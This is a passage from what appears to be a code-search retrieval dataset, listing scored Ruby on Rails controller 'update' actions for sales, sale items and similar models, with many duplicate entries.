"docid": "3d623ab47c14944e3b111e02593ea469",
"score": "0.7132373",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d623ab47c14944e3b111e02593ea469",
"score": "0.7132373",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d623ab47c14944e3b111e02593ea469",
"score": "0.7132373",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0ec4a520474aca9faff838d02f1bb068",
"score": "0.70948935",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to sequoia_dash_path, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20899d7da2bafe91a2d86b5e50f07086",
"score": "0.7080108",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to sales_path, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15be550c1196fe17d092b01f00d97b36",
"score": "0.70600206",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale}\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26e36dd00c62066844190fb70314edac",
"score": "0.70504886",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82a8086b5064707b63dac5fa005375fe",
"score": "0.7041703",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe818e03215f8accb45c2899dda42ab0",
"score": "0.70357573",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: \"Sale was successfully updated.\" }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "238a830fe3012be4eb87ae9572292527",
"score": "0.7013021",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to back_url, notice: t('sales.update.updated', info: @sale.info) }\n format.json { head :no_content }\n else\n format.html do\n render action: \"edit\"\n @page_title = t('actions.edit_sale')\n end\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63eb571fbd65f3950eea5bd556c6c43c",
"score": "0.7001549",
"text": "def update\n respond_to do |format|\n if @admin_sale.update(admin_sale_params)\n format.html { redirect_to @admin_sale, notice: \"Sale was successfully updated.\" }\n format.json { render :show, status: :ok, location: @admin_sale }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39ff4ec8678bb097a76f9f52708a49a7",
"score": "0.6894408",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Venda atualizada.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c486c2866e25b7785469e66b45b6887e",
"score": "0.6821216",
"text": "def update\n respond_to do |format|\n if @sale.update(update_sale_params)\n update_stock(@sale)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f9e5516bac3f6ffe0f8ca84f1277d68",
"score": "0.68076026",
"text": "def update\n @sale.confirmed!\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to sales_url, notice: 'Venta actualizada.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6729739a10ddfd8e56739670606b1be",
"score": "0.67972344",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to(sale_path(@sale), :notice => '更新成功.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7fdb1cbe37815c0d89e9dc3ef361bf8a",
"score": "0.6776735",
"text": "def update\n respond_to do |format|\n if @sale_product.update_attributes(sale_product_params)\n format.html { redirect_to @sale_product.sale, notice: 'Sale product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31eb73745ccd2785d5b653c61ef57aea",
"score": "0.6756627",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to(@sale, :notice => 'Sale was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31eb73745ccd2785d5b653c61ef57aea",
"score": "0.6756627",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to(@sale, :notice => 'Sale was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f772f0eeb3944d1f4338db305e97bb7",
"score": "0.6755959",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to (root_url, :notice => 'Sale was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e87139ed668038b8546fbb29315d2b08",
"score": "0.67423314",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n @sales = Sale.all\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "ee0d45e4273b12d4f3d19ca972d6e7d8",
"score": "0.6739865",
"text": "def update\n respond_to do |format|\n if @for_sale.update(for_sale_params)\n format.html { redirect_to @for_sale, success: 'For sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @for_sale }\n else\n format.html { render :edit }\n format.json { render json: @for_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea33d6f9b79cf0ce00bd8952aa829e50",
"score": "0.672104",
"text": "def update\n @lent_serials = LentSerial.all\n @lent_accesories = LentAccesory.all\n @client = Client.find(@sale.client_id)\n\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { \n redirect_to @sale\n flash[:success] = 'Se ha actualizado.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28499964e7e42f51911110821888c0a5",
"score": "0.6711178",
"text": "def update\n @sale_detail = SaleDetail.find(params[:id])\n\n respond_to do |format|\n if @sale_detail.update_attributes(params[:sale_detail])\n format.html { redirect_to @sale_detail, notice: 'Sale detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ba28c71dae751b1e9ef58e62056e5a2",
"score": "0.6705029",
"text": "def update\n respond_to do |format|\n if @detail_sale.update(detail_sale_params)\n format.html { redirect_to @detail_sale, notice: 'Detail sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @detail_sale }\n else\n format.html { render :edit }\n format.json { render json: @detail_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "feb7f0466eb3a74726d260382164ebd3",
"score": "0.66607255",
"text": "def update\n respond_to do |format|\n if @saledetail.update(saledetail_params)\n format.html { redirect_to @saledetail, notice: 'Saledetail was successfully updated.' }\n format.json { render :show, status: :ok, location: @saledetail }\n else\n format.html { render :edit }\n format.json { render json: @saledetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "009b5fd59f82da7186ef4e4b510c67f0",
"score": "0.66598004",
"text": "def update\n respond_to do |format|\n if @saleswoman.update(saleswoman_params)\n format.html { redirect_to @saleswoman, notice: 'Saleswoman was successfully updated.' }\n format.json { render :show, status: :ok, location: @saleswoman }\n else\n format.html { render :edit }\n format.json { render json: @saleswoman.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5540596a4181bcaad45b9c59068d0c83",
"score": "0.6645472",
"text": "def update\n respond_to do |format|\n if @sale_detail.update(sale_detail_params)\n format.html { redirect_to @sale_detail, notice: 'Sale detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_detail }\n else\n format.html { render :edit }\n format.json { render json: @sale_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fbd12122a6475567052f3604ace4c654",
"score": "0.65887946",
"text": "def update\n @sale.sale_items.destroy_all\n @sale.sale_items = set_sale_items(sale_params)\n\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b247dbf011c7f9f1444346351ae8c2f4",
"score": "0.65737236",
"text": "def update\n respond_to do |format|\n if @wholesale.update(wholesale_params)\n format.html { redirect_to @wholesale, notice: 'Wholesale was successfully updated.' }\n format.json { render :show, status: :ok, location: @wholesale }\n else\n format.html { render :edit }\n format.json { render json: @wholesale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52efd008f5f26de61c43f6a7e9db3f3d",
"score": "0.6568858",
"text": "def update\n respond_to do |format|\n if @nh_sale.update(nh_sale_params)\n format.html { redirect_to @nh_sale, notice: 'Nh sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @nh_sale }\n else\n format.html { render :edit }\n format.json { render json: @nh_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c8b777cb321c6f2135c6454cfbea4c6",
"score": "0.6533455",
"text": "def update\n params[:sale][:customer] = User.find_by_id(params[:sale][:customer])\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to edit_sale_path(@sale), notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b8bf3ddc269e087ba68ffa2b86985c7",
"score": "0.6520939",
"text": "def update\n @site_sale = SiteSale.find(params[:id])\n\n respond_to do |format|\n if @site_sale.update_attributes(params[:site_sale])\n format.html { redirect_to @site_sale, notice: 'Site sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15dd6d51a7817fa47f62eff940b521f7",
"score": "0.6518233",
"text": "def update\n @product_sale = ProductSale.get(params[:id])\n @product_sale.station_id = StaStations.first(:station_name => params[:product_sale][:station_id])[:station_id]\n\n respond_to do |format|\n if @product_sale.update(:quantity => params[:product_sale][:quantity],\n :price => params[:product_sale][:price],\n :station_id => @product_sale.station_id,\n :journal_transaction_id => params[:journal_transaction_id],\n :transaction_date_time => DateTime.now.utc)\n format.html { redirect_to @product_sale, notice: 'Product sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "775df39e76eb4d84ecd6c816562e3069",
"score": "0.65144616",
"text": "def update\n @sale_item = SaleItem.find(params[:id])\n\n respond_to do |format|\n if @sale_item.update_attributes(params[:sale_item])\n format.html { redirect_to @sale_item, notice: 'Sale item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "775df39e76eb4d84ecd6c816562e3069",
"score": "0.65144616",
"text": "def update\n @sale_item = SaleItem.find(params[:id])\n\n respond_to do |format|\n if @sale_item.update_attributes(params[:sale_item])\n format.html { redirect_to @sale_item, notice: 'Sale item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67458a55cd4fbba5760ca63794a472c0",
"score": "0.6506892",
"text": "def update\n respond_to do |format|\n if @sale_product.update(sale_product_params)\n format.html { redirect_to @sale_product, notice: 'Sale product was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_product }\n else\n format.html { render :edit }\n format.json { render json: @sale_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "33f6434763fdc07b763ae7ba4fed002d",
"score": "0.6489497",
"text": "def update\n @product = Product.find(params[:sale_item][:product])\n params[:sale_item][:product] = @product;\n @sale_item = SaleItem.find(params[:id])\n\n respond_to do |format|\n if @sale_item.update_attributes(params[:sale_item])\n format.html { redirect_to sale_sale_items_path(@sale_item.sale), notice: 'Sale item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fe365f0c63cce66702dce0518fc3512",
"score": "0.64655244",
"text": "def update\n @salesman = current_provider.salesmen.find(params[:id])\n\n respond_to do |format|\n if @salesman.update_attributes(params[:salesman])\n flash[:notice] = 'Informations vendeur modifié avec succès.'\n format.html { redirect_to(provider_salesmen_path(current_provider)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @salesman.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0f1869c93d2003e0f375f2d8974b6f27",
"score": "0.64382",
"text": "def update\n respond_to do |format|\n if @info_sale.update(info_sale_params)\n format.html { redirect_to @info_sale, notice: 'Info sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @info_sale }\n else\n format.html { render :edit }\n format.json { render json: @info_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec61d442b556261fa49a3ecc514d8c79",
"score": "0.6437058",
"text": "def update\n respond_to do |format|\n if @sale_collection.update(sale_collection_params)\n format.html { redirect_to @sale_collection, notice: 'Sale collection was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_collection }\n else\n format.html { render :edit }\n format.json { render json: @sale_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe826479f8fecc28e1565ed4ae21277b",
"score": "0.643356",
"text": "def update\n respond_to do |format|\n if @forsale.update(forsale_params)\n format.html { redirect_to @forsale, notice: 'Forsale was successfully updated.' }\n format.json { render :show, status: :ok, location: @forsale }\n else\n format.html { render :edit }\n format.json { render json: @forsale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7871ef974d4292cdb144e3243bac1d19",
"score": "0.64208645",
"text": "def update\n @type_of_sale = TypeOfSale.find(params[:id])\n\n respond_to do |format|\n if @type_of_sale.update_attributes(params[:type_of_sale])\n format.html { redirect_to @type_of_sale, notice: 'Type of sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type_of_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4e033191f33a47cd0d50f06c8eafca51",
"score": "0.6419036",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n calc_value\n format.html { redirect_to @sale, notice: 'Venda Alterada.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb731f3ab6e026648327b7db2c60c737",
"score": "0.6410391",
"text": "def update\n @sale = Sale.find_by_id(@item.sale_id)\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @sale, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "221d22cd1a9658ee7f70bb40253293f9",
"score": "0.6409025",
"text": "def update\n @salesrep = Salesrep.find(params[:id])\n\n respond_to do |format|\n if @salesrep.update_attributes(params[:salesrep])\n format.html { redirect_to @salesrep, notice: 'Salesrep was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @salesrep.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1577d7a228909cd7262b17e2f618b0c9",
"score": "0.63926214",
"text": "def update\n respond_to do |format|\n if @sales_detail.update(sales_detail_params)\n format.html { redirect_to @sales_detail }\n format.json { render :show, status: :ok, location: @sales_detail }\n else\n format.html { render :edit }\n format.json { render json: @sales_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a458811ade0e464766afe328875e3fb5",
"score": "0.6380689",
"text": "def update\n respond_to do |format|\n if @sale_order.update(sale_order_params)\n format.html { redirect_to @sale_order, notice: 'Sale order was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_order }\n else\n format.html { render :edit }\n format.json { render json: @sale_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28ee720893755b9e25f95332640c642f",
"score": "0.63657",
"text": "def update\n respond_to do |format|\n if @master_sale.update(master_sale_params)\n format.html { redirect_to accounting_master_sale_path(@master_sale), notice: \"Entradas Diárias '#{l(@master_sale.date, format: :short)}' foi atualizada com sucesso!\" }\n format.json { render :show, status: :ok, location: @master_sale }\n else\n format.html { render :edit }\n format.json { render json: @master_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a5a22989042d9cc233fd3d03c71c9b4",
"score": "0.6364699",
"text": "def update\n respond_to do |format|\n if @salestransaction.update(salestransaction_params)\n format.html { redirect_to @salestransaction, notice: 'Salestransaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @salestransaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d465e32a227e35d0a9fa13dbc00ceae6",
"score": "0.63574964",
"text": "def update\n respond_to do |format|\n if @product_sale.update(product_sale_params)\n format.html { redirect_to @product_sale, notice: \"Produto atualizado com sucesso\" }\n format.json { render :show, status: :ok, location: @product_sale }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1869756b519be6279040be7d70069943",
"score": "0.632857",
"text": "def update\n respond_to do |format|\n if @sales_man.update(sales_man_update_params)\n format.json { head :no_content }\n format.js\n else\n format.json { render json: @sales_man.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "7cc0349fece0298bb40dab4a1afb33a8",
"score": "0.63251424",
"text": "def update\n @sales_rep = SalesRep.find(params[:id])\n\n if @sales_rep.update(sales_rep_params)\n head :no_content\n else\n render json: @sales_rep.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ad000f3553b2de9738dae59fe112a8c3",
"score": "0.63227606",
"text": "def update\n @salle = Salle.find(params[:id])\n\n respond_to do |format|\n if @salle.update_attributes(params[:salle])\n format.html { redirect_to @salle, notice: 'Salle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @salle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e8bd654021aba01640009f19f05e395",
"score": "0.63180584",
"text": "def update\n respond_to do |format|\n if @sales_detail.update(sales_detail_params)\n format.html { redirect_to @sales_detail, notice: 'Sales detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_detail }\n else\n format.html { render :edit }\n format.json { render json: @sales_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "049154b530cff8448578bb3557bed8c6",
"score": "0.6318032",
